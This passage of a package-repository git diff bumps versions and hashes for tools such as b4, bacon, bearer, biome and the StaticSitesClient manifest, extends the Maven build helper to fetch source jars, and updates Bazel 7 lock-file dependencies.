"win-x64": { - "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.025891/windows/StaticSitesClient.exe", - "sha": "097f9633c12b55e85e4ea9c053576a94b4f5847ce3a5a7671112c881878cfc4b" + "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.026164/windows/StaticSitesClient.exe", + "sha": "57f8db0e48c772f4eadd9cbab1996354ecdf193f0d123df02dfa4a7eb6398a15" }, "osx-x64": { - "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.025891/macOS/StaticSitesClient", - "sha": "142310370774f91526c5d08ebde2f0b224b4f7f88bb6e514d25c1ef6f04fd8c8" + "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.026164/macOS/StaticSitesClient", + "sha": "fd0e8fe34ba0776c1fc44a8e66017b3abe33b044f429a95e6863919e920bf555" } } }, { "version": "stable", - "buildId": "1.0.025891", - "publishDate": "2024-02-02T19:23:37.1915908Z", + "buildId": "1.0.026164", + "publishDate": "2024-02-29T20:38:30.619614Z", "files": { "linux-x64": { - "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.025891/linux/StaticSitesClient", - "sha": "798b4032d1b6cd3f7057a6b7510c502dd69fa8cb4d27d47433542e8e80e9f87c" + "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.026164/linux/StaticSitesClient", + "sha": "7b2d674a63fb0cb1ee39b84348260755c872a2922d03c0ee55eea1c8eb385524" }, "win-x64": { - "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.025891/windows/StaticSitesClient.exe", - "sha": "097f9633c12b55e85e4ea9c053576a94b4f5847ce3a5a7671112c881878cfc4b" + "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.026164/windows/StaticSitesClient.exe", + "sha": "57f8db0e48c772f4eadd9cbab1996354ecdf193f0d123df02dfa4a7eb6398a15" }, "osx-x64": { - "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.025891/macOS/StaticSitesClient", - "sha": "142310370774f91526c5d08ebde2f0b224b4f7f88bb6e514d25c1ef6f04fd8c8" + "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.026164/macOS/StaticSitesClient", + "sha": "fd0e8fe34ba0776c1fc44a8e66017b3abe33b044f429a95e6863919e920bf555" } } }, { "version": "backup", - "buildId": "1.0.025241", - "publishDate": "2023-11-30T02:51:40.8356813Z", + "buildId": "1.0.025891", + "publishDate": "2024-02-02T19:23:37.1915908Z", "files": { "linux-x64": { - "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.025241/linux/StaticSitesClient", - "sha": "e4ccb44c516e03e6dcc2a26a35ffd4c84a61dfea581990dd5c0edb7c12662db0" + "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.025891/linux/StaticSitesClient", + "sha": "798b4032d1b6cd3f7057a6b7510c502dd69fa8cb4d27d47433542e8e80e9f87c" }, "win-x64": { - "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.025241/windows/StaticSitesClient.exe", - "sha": "4146ac01a488910d6ea066e1c46505048b0c9af2e74ef273c4236b387796712d" + "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.025891/windows/StaticSitesClient.exe", + "sha": "097f9633c12b55e85e4ea9c053576a94b4f5847ce3a5a7671112c881878cfc4b" }, "osx-x64": { - "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.025241/macOS/StaticSitesClient", - "sha": "05b213d7861454368d2c9801b0ccc75cfd13cb48f8e121fffaa2ab7e9b5671cd" + "url": "https://swalocaldeploy.azureedge.net/downloads/1.0.025891/macOS/StaticSitesClient", + "sha": "142310370774f91526c5d08ebde2f0b224b4f7f88bb6e514d25c1ef6f04fd8c8" } } } diff --git a/pkgs/development/tools/b4/default.nix b/pkgs/development/tools/b4/default.nix index 8999d3f4b62a1..a4de4f93ce558 100644 --- a/pkgs/development/tools/b4/default.nix +++ b/pkgs/development/tools/b4/default.nix @@ -2,11 +2,11 @@ python3Packages.buildPythonApplication rec { pname = "b4"; - version = "0.12.4"; + version = "0.13.0"; src = fetchPypi { inherit pname version; - hash = "sha256-n3mLtthtTN1uAmsmM6dX+Nc7iEo5KzzHiH8iAJmV/Q0="; + hash = "sha256-gsok5aDi5oYJPMXVv3MFAehyKZ5hHBtvwf7z6Ut4dBQ="; }; # tests make dns requests and fails diff --git a/pkgs/development/tools/backblaze-b2/default.nix b/pkgs/development/tools/backblaze-b2/default.nix index e82c32940891f..708fbb23c80e4 100644 --- a/pkgs/development/tools/backblaze-b2/default.nix +++ b/pkgs/development/tools/backblaze-b2/default.nix @@ -94,6 +94,6 @@ python3Packages.buildPythonApplication rec { homepage = "https://github.com/Backblaze/B2_Command_Line_Tool"; changelog = "https://github.com/Backblaze/B2_Command_Line_Tool/blob/v${version}/CHANGELOG.md"; license = licenses.mit; - maintainers = with maintainers; [ hrdinka kevincox tomhoule ]; + maintainers = with maintainers; [ hrdinka tomhoule ]; }; } diff --git a/pkgs/development/tools/bacon/default.nix b/pkgs/development/tools/bacon/default.nix index 89e90a8589f57..4deaf6a6011cd 100644 --- a/pkgs/development/tools/bacon/default.nix +++ b/pkgs/development/tools/bacon/default.nix @@ -7,16 +7,16 @@ rustPlatform.buildRustPackage rec { pname = "bacon"; - version = "2.14.2"; + version = "2.15.0"; src = fetchFromGitHub { owner = "Canop"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-hwzj5RUUj3mYN2XUS5Dt2cbQYJ3oKNj4CZabO6qDt74="; + hash = "sha256-NJ/izdvwTzKIVTymBsSzFUy5SX4Nhh4t/6QoMQWyvAM="; }; - cargoHash = "sha256-gUkh9YpmT+FNv30iOhPRcOAhpaqvd1PavSfoycNox7k="; + cargoHash = "sha256-RhEqEqHQrw1NO6k3acOtZmEFgu3FJ+/r154EfoM4uJI="; buildInputs = lib.optionals stdenv.isDarwin [ CoreServices diff --git a/pkgs/development/tools/bearer/default.nix b/pkgs/development/tools/bearer/default.nix index bc7412c1d72cd..5cd2cfff0d767 100644 --- a/pkgs/development/tools/bearer/default.nix +++ b/pkgs/development/tools/bearer/default.nix @@ -7,16 +7,16 @@ buildGoModule rec { pname = "bearer"; - version = "1.37.0"; + version = "1.40.1"; src = fetchFromGitHub { owner = "bearer"; repo = "bearer"; rev = "refs/tags/v${version}"; - hash = "sha256-b4EQAAPYMoL1MP5sVr3Fu0/znWxlVzpeGbghommCpUg="; + hash = "sha256-yfgbkF7ANJyyy3qYNLOg85+MJ8SdHCZkXsOhH0vzy8o="; }; - vendorHash = "sha256-jE1DUANd1PgSWbwz/PV1pIMgzvRm0ApaJaLCljMw4ig="; + vendorHash = "sha256-TKdZVNt98jrIzXekfxRXfxEfEhb2doWTTGojOLOcKzU="; subPackages = [ "cmd/bearer" diff --git a/pkgs/development/tools/biome/default.nix b/pkgs/development/tools/biome/default.nix index 8ad3611ccb097..2f1a5da293c50 100644 --- a/pkgs/development/tools/biome/default.nix +++ b/pkgs/development/tools/biome/default.nix @@ -2,7 +2,7 @@ , rustPlatform , fetchFromGitHub , pkg-config -, libgit2_1_6 +, libgit2 , rust-jemalloc-sys , zlib , stdenv @@ -12,23 +12,23 @@ rustPlatform.buildRustPackage rec { pname = "biome"; - version = "1.4.1"; + version = "1.5.3"; src = fetchFromGitHub { owner = "biomejs"; repo = "biome"; rev = "cli/v${version}"; - hash = "sha256-lzY1Eh1jZixsKi+ObQlhzV4KSV7ZSGPBJtaO9ZiJjEk="; + hash = "sha256-70LHsmS01ssD4yCbHfBouV+NyhMIlBbX0jcHFu8aLMw="; }; - cargoHash = "sha256-Hy5UH2VwqboRD+akl1FxBZoXr2+SmVH5Jx0lSAB/P7w="; + cargoHash = "sha256-wf6X6aY1O9EABQ6sDNAb3XsVrC0lgUtpgoieiPZ7r3k="; nativeBuildInputs = [ pkg-config ]; buildInputs = [ - libgit2_1_6 + libgit2 rust-jemalloc-sys zlib ] ++ lib.optionals stdenv.isDarwin [ @@ -40,10 +40,14 @@ rustPlatform.buildRustPackage rec { ]; cargoBuildFlags = [ "-p=biome_cli" ]; - cargoTestFlags = cargoBuildFlags; + cargoTestFlags = cargoBuildFlags ++ + # skip a broken test from v1.5.3 release + # this will be removed on the next version + [ "-- --skip=diagnostics::test::termination_diagnostic_size" ]; env = { BIOME_VERSION = version; + LIBGIT2_NO_VENDOR = 1; }; preCheck = '' diff --git a/pkgs/development/tools/build-managers/apache-maven/build-package.nix b/pkgs/development/tools/build-managers/apache-maven/build-package.nix index 49c217dbc91c7..43fc8e1232444 100644 --- a/pkgs/development/tools/build-managers/apache-maven/build-package.nix +++ b/pkgs/development/tools/build-managers/apache-maven/build-package.nix @@ -13,6 +13,7 @@ , mvnFetchExtraArgs ? { } , mvnDepsParameters ? "" , manualMvnArtifacts ? [ ] +, manualMvnSources ? [ ] , mvnParameters ? "" , ... } @args: @@ -39,6 +40,14 @@ let echo "downloading manual $artifactId" mvn dependency:get -Dartifact="$artifactId" -Dmaven.repo.local=$out/.m2 done + + for artifactId in ${builtins.toString manualMvnSources} + do + group=$(echo $artifactId | cut -d':' -f1) + artifact=$(echo $artifactId | cut -d':' -f2) + echo "downloading manual sources $artifactId" + mvn dependency:sources -DincludeGroupIds="$group" -DincludeArtifactIds="$artifact" -Dmaven.repo.local=$out/.m2 + done '' + lib.optionalString (!buildOffline) '' mvn package -Dmaven.repo.local=$out/.m2 ${mvnParameters} '' + '' diff --git a/pkgs/development/tools/build-managers/bazel/bazel_7/MODULE.bazel.lock b/pkgs/development/tools/build-managers/bazel/bazel_7/MODULE.bazel.lock index 3646c7e15bfa9..fc9d8b7e034b7 100644 --- a/pkgs/development/tools/build-managers/bazel/bazel_7/MODULE.bazel.lock +++ b/pkgs/development/tools/build-managers/bazel/bazel_7/MODULE.bazel.lock @@ -2158,7 +2158,7 @@ "moduleExtensions": { "//:extensions.bzl%bazel_android_deps": { "general": { - "bzlTransitiveDigest": "PjK+f/kxkhda9tRFlKVdGfNszPoXs7CDXZUi+ZGWGYU=", + "bzlTransitiveDigest": "rjB9TSLGt3ZwbECWtF/HMgfqMsfEnDLK6fGIe65ZyfE=", "accumulatedFileDigests": {}, "envVariables": {}, "generatedRepoSpecs": { @@ -2177,9 +2177,9 @@ }, "//:extensions.bzl%bazel_build_deps": { "general": { - "bzlTransitiveDigest": "PjK+f/kxkhda9tRFlKVdGfNszPoXs7CDXZUi+ZGWGYU=", + "bzlTransitiveDigest": "rjB9TSLGt3ZwbECWtF/HMgfqMsfEnDLK6fGIe65ZyfE=", "accumulatedFileDigests": { - "@@//src/test/tools/bzlmod:MODULE.bazel.lock": "10b96bd3c1eb194b0efe3a13fd06f2051abf36efb33414ad92048883ba471c7f", + "@@//src/test/tools/bzlmod:MODULE.bazel.lock": "4e2a1386686aae6d7be071ef615438178fdb93104b5b84cf8a372b6a944b27cd", "@@//:MODULE.bazel": "63625ac7809ba5bc83e0814e16f223ac28a98df884897ddd5bfbd69fd4e3ddbf" }, "envVariables": {}, @@ -2428,7 +2428,7 @@ }, "//:extensions.bzl%bazel_test_deps": { "general": { - "bzlTransitiveDigest": "PjK+f/kxkhda9tRFlKVdGfNszPoXs7CDXZUi+ZGWGYU=", + "bzlTransitiveDigest": "rjB9TSLGt3ZwbECWtF/HMgfqMsfEnDLK6fGIe65ZyfE=", "accumulatedFileDigests": {}, "envVariables": {}, "generatedRepoSpecs": { @@ -2478,7 +2478,7 @@ }, "//tools/android:android_extensions.bzl%remote_android_tools_extensions": { "general": { - "bzlTransitiveDigest": "iz3RFYDcsjupaT10sdSPAhA44WL3eDYkTEnYThllj1w=", + "bzlTransitiveDigest": "4x/FXzwoadac6uV9ItZ4eGOyCculGHHrKUhLFNWo3lA=", "accumulatedFileDigests": {}, "envVariables": {}, "generatedRepoSpecs": { @@ -2505,7 +2505,7 @@ }, "//tools/test:extensions.bzl%remote_coverage_tools_extension": { "general": { - "bzlTransitiveDigest": "cizrA62cv8WUgb0cCmx5B6PRijtr/I4TAWxg/4caNGU=", + "bzlTransitiveDigest": "y48q5zUu2oMiYv7yUyi7rFB0wt14eqiF/RQcWT6vP7I=", "accumulatedFileDigests": {}, "envVariables": {}, "generatedRepoSpecs": { diff --git a/pkgs/development/tools/build-managers/bazel/bazel_7/cpp-test-MODULE.bazel.lock b/pkgs/development/tools/build-managers/bazel/bazel_7/cpp-test-MODULE.bazel.lock index 95f59a45f8578..8fa5a39777a0e 100644 --- a/pkgs/development/tools/build-managers/bazel/bazel_7/cpp-test-MODULE.bazel.lock +++ b/pkgs/development/tools/build-managers/bazel/bazel_7/cpp-test-MODULE.bazel.lock @@ -1,6 +1,6 @@ { "lockFileVersion": 3, - "moduleFileHash": "88511df1b260515dce141aec0a1990a64de221731dfb656746b7ae1395acf57f", + "moduleFileHash": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", "flags": { "cmdRegistries": [ "https://bcr.bazel.build/" @@ -13,7 +13,7 @@ "compatibilityMode": "ERROR" }, "localOverrideHashes": { - "bazel_tools": "922ea6752dc9105de5af957f7a99a6933c0a6a712d23df6aad16a9c399f7e787" + "bazel_tools": "f30da6d09c13487d5a03131bccc244a528e780a477b9c4830c12e10f26d0a64f" }, "moduleDepGraph": { "<root>": { @@ -152,12 +152,12 @@ ], "deps": { "rules_cc": "rules_cc@0.0.9", - "rules_java": "rules_java@7.1.0", + "rules_java": "rules_java@7.3.2", "rules_license": "rules_license@0.0.7", - "rules_proto": "rules_proto@4.0.0", - "rules_python": "rules_python@0.4.0", + "rules_proto": "rules_proto@5.3.0-21.7", + "rules_python": "rules_python@0.22.1", "platforms": "platforms@0.0.7", - "com_google_protobuf": "protobuf@3.19.6", + "com_google_protobuf": "protobuf@21.7", "zlib": "zlib@1.3", "build_bazel_apple_support": "apple_support@1.5.0", "local_config_platform": "local_config_platform@_" @@ -226,10 +226,10 @@ } } }, - "rules_java@7.1.0": { + "rules_java@7.3.2": { "name": "rules_java", - "version": "7.1.0", - "key": "rules_java@7.1.0", + "version": "7.3.2", + "key": "rules_java@7.3.2", "repoName": "rules_java", "executionPlatformsToRegister": [], "toolchainsToRegister": [ @@ -262,9 +262,9 @@ { "extensionBzlFile": "@rules_java//java:extensions.bzl", "extensionName": "toolchains", - "usingModule": "rules_java@7.1.0", + "usingModule": "rules_java@7.3.2", "location": { - "file": "https://bcr.bazel.build/modules/rules_java/7.1.0/MODULE.bazel", + "file": "https://bcr.bazel.build/modules/rules_java/7.3.2/MODULE.bazel", "line": 19, "column": 27 }, @@ -307,7 +307,7 @@ "platforms": "platforms@0.0.7", "rules_cc": "rules_cc@0.0.9", "bazel_skylib": "bazel_skylib@1.3.0", - "rules_proto": "rules_proto@4.0.0", + "rules_proto": "rules_proto@5.3.0-21.7", "rules_license": "rules_license@0.0.7", "bazel_tools": "bazel_tools@_", "local_config_platform": "local_config_platform@_" @@ -316,11 +316,11 @@ "bzlFile": "@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0", + "name": "rules_java~7.3.2", "urls": [ - "https://github.com/bazelbuild/rules_java/releases/download/7.1.0/rules_java-7.1.0.tar.gz" + "https://github.com/bazelbuild/rules_java/releases/download/7.3.2/rules_java-7.3.2.tar.gz" ], - "integrity": "sha256-o3pOX2OrgnFuXdau75iO2EYcegC46TYnImKJn1h81OE=", + "integrity": "sha256-MSGgBYixWBvXwfm1UFmWKeWtzBG6nGX0grvVz+R/3zA=", "strip_prefix": "", "remote_patches": {}, "remote_patch_strip": 0 @@ -354,16 +354,17 @@ } } }, - "rules_proto@4.0.0": { + "rules_proto@5.3.0-21.7": { "name": "rules_proto", - "version": "4.0.0", - "key": "rules_proto@4.0.0", + "version": "5.3.0-21.7", + "key": "rules_proto@5.3.0-21.7", "repoName": "rules_proto", "executionPlatformsToRegister": [], "toolchainsToRegister": [], "extensionUsages": [], "deps": { "bazel_skylib": "bazel_skylib@1.3.0", + "com_google_protobuf": "protobuf@21.7", "rules_cc": "rules_cc@0.0.9", "bazel_tools": "bazel_tools@_", "local_config_platform": "local_config_platform@_" @@ -372,23 +373,21 @@ "bzlFile": "@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_proto~4.0.0", + "name": "rules_proto~5.3.0-21.7", "urls": [ - "https://github.com/bazelbuild/rules_proto/archive/refs/tags/4.0.0.zip" + "https://github.com/bazelbuild/rules_proto/archive/refs/tags/5.3.0-21.7.tar.gz" ], - "integrity": "sha256-Lr5z6xyuRA19pNtRYMGjKaynwQpck4H/lwYyVjyhoq4=", - "strip_prefix": "rules_proto-4.0.0", - "remote_patches": { - "https://bcr.bazel.build/modules/rules_proto/4.0.0/patches/module_dot_bazel.patch": "sha256-MclJO7tIAM2ElDAmscNId9pKTpOuDGHgVlW/9VBOIp0=" - }, + "integrity": "sha256-3D+yBqLLNEG0heseQjFlsjEjWh6psDG0Qzz3vB+kYN0=", + "strip_prefix": "rules_proto-5.3.0-21.7", + "remote_patches": {}, "remote_patch_strip": 0 } } }, - "rules_python@0.4.0": { + "rules_python@0.22.1": { "name": "rules_python", - "version": "0.4.0", - "key": "rules_python@0.4.0", + "version": "0.22.1", + "key": "rules_python@0.22.1", "repoName": "rules_python", "executionPlatformsToRegister": [], "toolchainsToRegister": [ @@ -396,21 +395,72 @@ ], "extensionUsages": [ { - "extensionBzlFile": "@rules_python//bzlmod:extensions.bzl", - "extensionName": "pip_install", - "usingModule": "rules_python@0.4.0", + "extensionBzlFile": "@rules_python//python/extensions/private:internal_deps.bzl", + "extensionName": "internal_deps", + "usingModule": "rules_python@0.22.1", "location": { - "file": "https://bcr.bazel.build/modules/rules_python/0.4.0/MODULE.bazel", - "line": 7, - "column": 28 + "file": "https://bcr.bazel.build/modules/rules_python/0.22.1/MODULE.bazel", + "line": 14, + "column": 30 }, "imports": { + "pypi__build": "pypi__build", "pypi__click": "pypi__click", + "pypi__colorama": "pypi__colorama", + "pypi__importlib_metadata": "pypi__importlib_metadata", + "pypi__installer": "pypi__installer", + "pypi__more_itertools": "pypi__more_itertools", + "pypi__packaging": "pypi__packaging", + "pypi__pep517": "pypi__pep517", "pypi__pip": "pypi__pip", "pypi__pip_tools": "pypi__pip_tools", - "pypi__pkginfo": "pypi__pkginfo", "pypi__setuptools": "pypi__setuptools", - "pypi__wheel": "pypi__wheel" + "pypi__tomli": "pypi__tomli", + "pypi__wheel": "pypi__wheel", + "pypi__zipp": "pypi__zipp", + "pypi__coverage_cp310_aarch64-apple-darwin": "pypi__coverage_cp310_aarch64-apple-darwin", + "pypi__coverage_cp310_aarch64-unknown-linux-gnu": "pypi__coverage_cp310_aarch64-unknown-linux-gnu", + "pypi__coverage_cp310_x86_64-apple-darwin": "pypi__coverage_cp310_x86_64-apple-darwin", + "pypi__coverage_cp310_x86_64-unknown-linux-gnu": "pypi__coverage_cp310_x86_64-unknown-linux-gnu", + "pypi__coverage_cp311_aarch64-unknown-linux-gnu": "pypi__coverage_cp311_aarch64-unknown-linux-gnu", + "pypi__coverage_cp311_x86_64-apple-darwin": "pypi__coverage_cp311_x86_64-apple-darwin", + "pypi__coverage_cp311_x86_64-unknown-linux-gnu": "pypi__coverage_cp311_x86_64-unknown-linux-gnu", + "pypi__coverage_cp38_aarch64-apple-darwin": "pypi__coverage_cp38_aarch64-apple-darwin", + "pypi__coverage_cp38_aarch64-unknown-linux-gnu": "pypi__coverage_cp38_aarch64-unknown-linux-gnu", + "pypi__coverage_cp38_x86_64-apple-darwin": "pypi__coverage_cp38_x86_64-apple-darwin", + "pypi__coverage_cp38_x86_64-unknown-linux-gnu": "pypi__coverage_cp38_x86_64-unknown-linux-gnu", + "pypi__coverage_cp39_aarch64-apple-darwin": "pypi__coverage_cp39_aarch64-apple-darwin", + "pypi__coverage_cp39_aarch64-unknown-linux-gnu": "pypi__coverage_cp39_aarch64-unknown-linux-gnu", + "pypi__coverage_cp39_x86_64-apple-darwin": "pypi__coverage_cp39_x86_64-apple-darwin", + "pypi__coverage_cp39_x86_64-unknown-linux-gnu": "pypi__coverage_cp39_x86_64-unknown-linux-gnu" + }, + "devImports": [], + "tags": [ + { + "tagName": "install", + "attributeValues": {}, + "devDependency": false, + "location": { + "file": "https://bcr.bazel.build/modules/rules_python/0.22.1/MODULE.bazel", + "line": 15, + "column": 22 + } + } + ], + "hasDevUseExtension": false, + "hasNonDevUseExtension": true + }, + { + "extensionBzlFile": "@rules_python//python/extensions:python.bzl", + "extensionName": "python", + "usingModule": "rules_python@0.22.1", + "location": { + "file": "https://bcr.bazel.build/modules/rules_python/0.22.1/MODULE.bazel", + "line": 50, + "column": 23 + }, + "imports": { + "pythons_hub": "pythons_hub" }, "devImports": [], "tags": [], @@ -419,6 +469,10 @@ } ], "deps": { + "platforms": "platforms@0.0.7", + "bazel_skylib": "bazel_skylib@1.3.0", + "rules_proto": "rules_proto@5.3.0-21.7", + "com_google_protobuf": "protobuf@21.7", "bazel_tools": "bazel_tools@_", "local_config_platform": "local_config_platform@_" }, @@ -426,15 +480,14 @@ "bzlFile": "@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_python~0.4.0", + "name": "rules_python~0.22.1", "urls": [ - "https://github.com/bazelbuild/rules_python/releases/download/0.4.0/rules_python-0.4.0.tar.gz" + "https://github.com/bazelbuild/rules_python/releases/download/0.22.1/rules_python-0.22.1.tar.gz" ], - "integrity": "sha256-lUqom0kb5KCDMEosuDgBnIuMNyCnq7nEy4GseiQjDOo=", - "strip_prefix": "", + "integrity": "sha256-pWQP3dS+sD6MH95e1xYMC6a9R359BIZhwwwGk2om/WM=", + "strip_prefix": "rules_python-0.22.1", "remote_patches": { - "https://bcr.bazel.build/modules/rules_python/0.4.0/patches/propagate_pip_install_dependencies.patch": "sha256-v7S/dem/mixg63MF4KoRGDA4KEol9ab/tIVp+6Xq0D0=", - "https://bcr.bazel.build/modules/rules_python/0.4.0/patches/module_dot_bazel.patch": "sha256-kG4VIfWxQazzTuh50mvsx6pmyoRVA4lfH5rkto/Oq+Y=" + "https://bcr.bazel.build/modules/rules_python/0.22.1/patches/module_dot_bazel_version.patch": "sha256-3+VLDH9gYDzNI4eOW7mABC/LKxh1xqF6NhacLbNTucs=" }, "remote_patch_strip": 1 } @@ -468,21 +521,68 @@ } } }, - "protobuf@3.19.6": { + "protobuf@21.7": { "name": "protobuf", - "version": "3.19.6", - "key": "protobuf@3.19.6", + "version": "21.7", + "key": "protobuf@21.7", "repoName": "protobuf", "executionPlatformsToRegister": [], "toolchainsToRegister": [], - "extensionUsages": [], + "extensionUsages": [ + { + "extensionBzlFile": "@rules_jvm_external//:extensions.bzl", + "extensionName": "maven", + "usingModule": "protobuf@21.7", + "location": { + "file": "https://bcr.bazel.build/modules/protobuf/21.7/MODULE.bazel", + "line": 22, + "column": 22 + }, + "imports": { + "maven": "maven" + }, + "devImports": [], + "tags": [ + { + "tagName": "install", + "attributeValues": { + "name": "maven", + "artifacts": [ + "com.google.code.findbugs:jsr305:3.0.2", + "com.google.code.gson:gson:2.8.9", + "com.google.errorprone:error_prone_annotations:2.3.2", + "com.google.j2objc:j2objc-annotations:1.3", + "com.google.guava:guava:31.1-jre", + "com.google.guava:guava-testlib:31.1-jre", + "com.google.truth:truth:1.1.2", + "junit:junit:4.13.2", + "org.mockito:mockito-core:4.3.1" + ] + }, + "devDependency": false, + "location": { + "file": "https://bcr.bazel.build/modules/protobuf/21.7/MODULE.bazel", + "line": 24, + "column": 14 + } + } + ], + "hasDevUseExtension": false, + "hasNonDevUseExtension": true + } + ], "deps": { "bazel_skylib": "bazel_skylib@1.3.0", - "zlib": "zlib@1.3", - "rules_python": "rules_python@0.4.0", + "rules_python": "rules_python@0.22.1", "rules_cc": "rules_cc@0.0.9", - "rules_proto": "rules_proto@4.0.0", - "rules_java": "rules_java@7.1.0", + "rules_proto": "rules_proto@5.3.0-21.7", + "rules_java": "rules_java@7.3.2", + "rules_pkg": "rules_pkg@0.7.0", + "com_google_abseil": "abseil-cpp@20211102.0", + "zlib": "zlib@1.3", + "upb": "upb@0.0.0-20220923-a547704", + "rules_jvm_external": "rules_jvm_external@4.4.2", + "com_google_googletest": "googletest@1.11.0", "bazel_tools": "bazel_tools@_", "local_config_platform": "local_config_platform@_" }, @@ -490,17 +590,17 @@ "bzlFile": "@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "protobuf~3.19.6", + "name": "protobuf~21.7", "urls": [ - "https://github.com/protocolbuffers/protobuf/archive/refs/tags/v3.19.6.zip" + "https://github.com/protocolbuffers/protobuf/releases/download/v21.7/protobuf-all-21.7.zip" ], - "integrity": "sha256-OH4sVZuyx8G8N5jE5s/wFTgaebJ1hpavy/johzC0c4k=", - "strip_prefix": "protobuf-3.19.6", + "integrity": "sha256-VJOiH17T/FAuZv7GuUScBqVRztYwAvpIkDxA36jeeko=", + "strip_prefix": "protobuf-21.7", "remote_patches": { - "https://bcr.bazel.build/modules/protobuf/3.19.6/patches/relative_repo_names.patch": "sha256-w/5gw/zGv8NFId+669hcdw1Uus2lxgYpulATHIwIByI=", - "https://bcr.bazel.build/modules/protobuf/3.19.6/patches/remove_dependency_on_rules_jvm_external.patch": "sha256-THUTnVgEBmjA0W7fKzIyZOVG58DnW9HQTkr4D2zKUUc=", - "https://bcr.bazel.build/modules/protobuf/3.19.6/patches/add_module_dot_bazel_for_examples.patch": "sha256-s/b1gi3baK3LsXefI2rQilhmkb2R5jVJdnT6zEcdfHY=", - "https://bcr.bazel.build/modules/protobuf/3.19.6/patches/module_dot_bazel.patch": "sha256-S0DEni8zgx7rHscW3z/rCEubQnYec0XhNet640cw0h4=" + "https://bcr.bazel.build/modules/protobuf/21.7/patches/add_module_dot_bazel.patch": "sha256-q3V2+eq0v2XF0z8z+V+QF4cynD6JvHI1y3kI/+rzl5s=", + "https://bcr.bazel.build/modules/protobuf/21.7/patches/add_module_dot_bazel_for_examples.patch": "sha256-O7YP6s3lo/1opUiO0jqXYORNHdZ/2q3hjz1QGy8QdIU=", + "https://bcr.bazel.build/modules/protobuf/21.7/patches/relative_repo_names.patch": "sha256-RK9RjW8T5UJNG7flIrnFiNE9vKwWB+8uWWtJqXYT0w4=", + "https://bcr.bazel.build/modules/protobuf/21.7/patches/add_missing_files.patch": "sha256-Hyne4DG2u5bXcWHNxNMirA2QFAe/2Cl8oMm1XJdkQIY=" }, "remote_patch_strip": 1 } @@ -618,6 +718,251 @@ "remote_patch_strip": 0 } } + }, + "rules_pkg@0.7.0": { + "name": "rules_pkg", + "version": "0.7.0", + "key": "rules_pkg@0.7.0", + "repoName": "rules_pkg", + "executionPlatformsToRegister": [], + "toolchainsToRegister": [], + "extensionUsages": [], + "deps": { + "rules_python": "rules_python@0.22.1", + "bazel_skylib": "bazel_skylib@1.3.0", + "rules_license": "rules_license@0.0.7", + "bazel_tools": "bazel_tools@_", + "local_config_platform": "local_config_platform@_" + }, + "repoSpec": { + "bzlFile": "@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_pkg~0.7.0", + "urls": [ + "https://github.com/bazelbuild/rules_pkg/releases/download/0.7.0/rules_pkg-0.7.0.tar.gz" + ], + "integrity": "sha256-iimOgydi7aGDBZfWT+fbWBeKqEzVkm121bdE1lWJQcI=", + "strip_prefix": "", + "remote_patches": { + "https://bcr.bazel.build/modules/rules_pkg/0.7.0/patches/module_dot_bazel.patch": "sha256-4OaEPZwYF6iC71ZTDg6MJ7LLqX7ZA0/kK4mT+4xKqiE=" + }, + "remote_patch_strip": 0 + } + } + }, + "abseil-cpp@20211102.0": { + "name": "abseil-cpp", + "version": "20211102.0", + "key": "abseil-cpp@20211102.0", + "repoName": "abseil-cpp", + "executionPlatformsToRegister": [], + "toolchainsToRegister": [], + "extensionUsages": [], + "deps": { + "rules_cc": "rules_cc@0.0.9", + "platforms": "platforms@0.0.7", + "bazel_tools": "bazel_tools@_", + "local_config_platform": "local_config_platform@_" + }, + "repoSpec": { + "bzlFile": "@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "abseil-cpp~20211102.0", + "urls": [ + "https://github.com/abseil/abseil-cpp/archive/refs/tags/20211102.0.tar.gz" + ], + "integrity": "sha256-3PcbnLqNwMqZQMSzFqDHlr6Pq0KwcLtrfKtitI8OZsQ=", + "strip_prefix": "abseil-cpp-20211102.0", + "remote_patches": { + "https://bcr.bazel.build/modules/abseil-cpp/20211102.0/patches/module_dot_bazel.patch": "sha256-4izqopgGCey4jVZzl/w3M2GVPNohjh2B5TmbThZNvPY=" + }, + "remote_patch_strip": 0 + } + } + }, + "upb@0.0.0-20220923-a547704": { + "name": "upb", + "version": "0.0.0-20220923-a547704", + "key": "upb@0.0.0-20220923-a547704", + "repoName": "upb", + "executionPlatformsToRegister": [], + "toolchainsToRegister": [], + "extensionUsages": [], + "deps": { + "bazel_skylib": "bazel_skylib@1.3.0", + "rules_proto": "rules_proto@5.3.0-21.7", + "com_google_protobuf": "protobuf@21.7", + "com_google_absl": "abseil-cpp@20211102.0", + "platforms": "platforms@0.0.7", + "bazel_tools": "bazel_tools@_", + "local_config_platform": "local_config_platform@_" + }, + "repoSpec": { + "bzlFile": "@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "upb~0.0.0-20220923-a547704", + "urls": [ + "https://github.com/protocolbuffers/upb/archive/a5477045acaa34586420942098f5fecd3570f577.tar.gz" + ], + "integrity": "sha256-z39x6v+QskwaKLSWRan/A6mmwecTQpHOcJActj5zZLU=", + "strip_prefix": "upb-a5477045acaa34586420942098f5fecd3570f577", + "remote_patches": { + 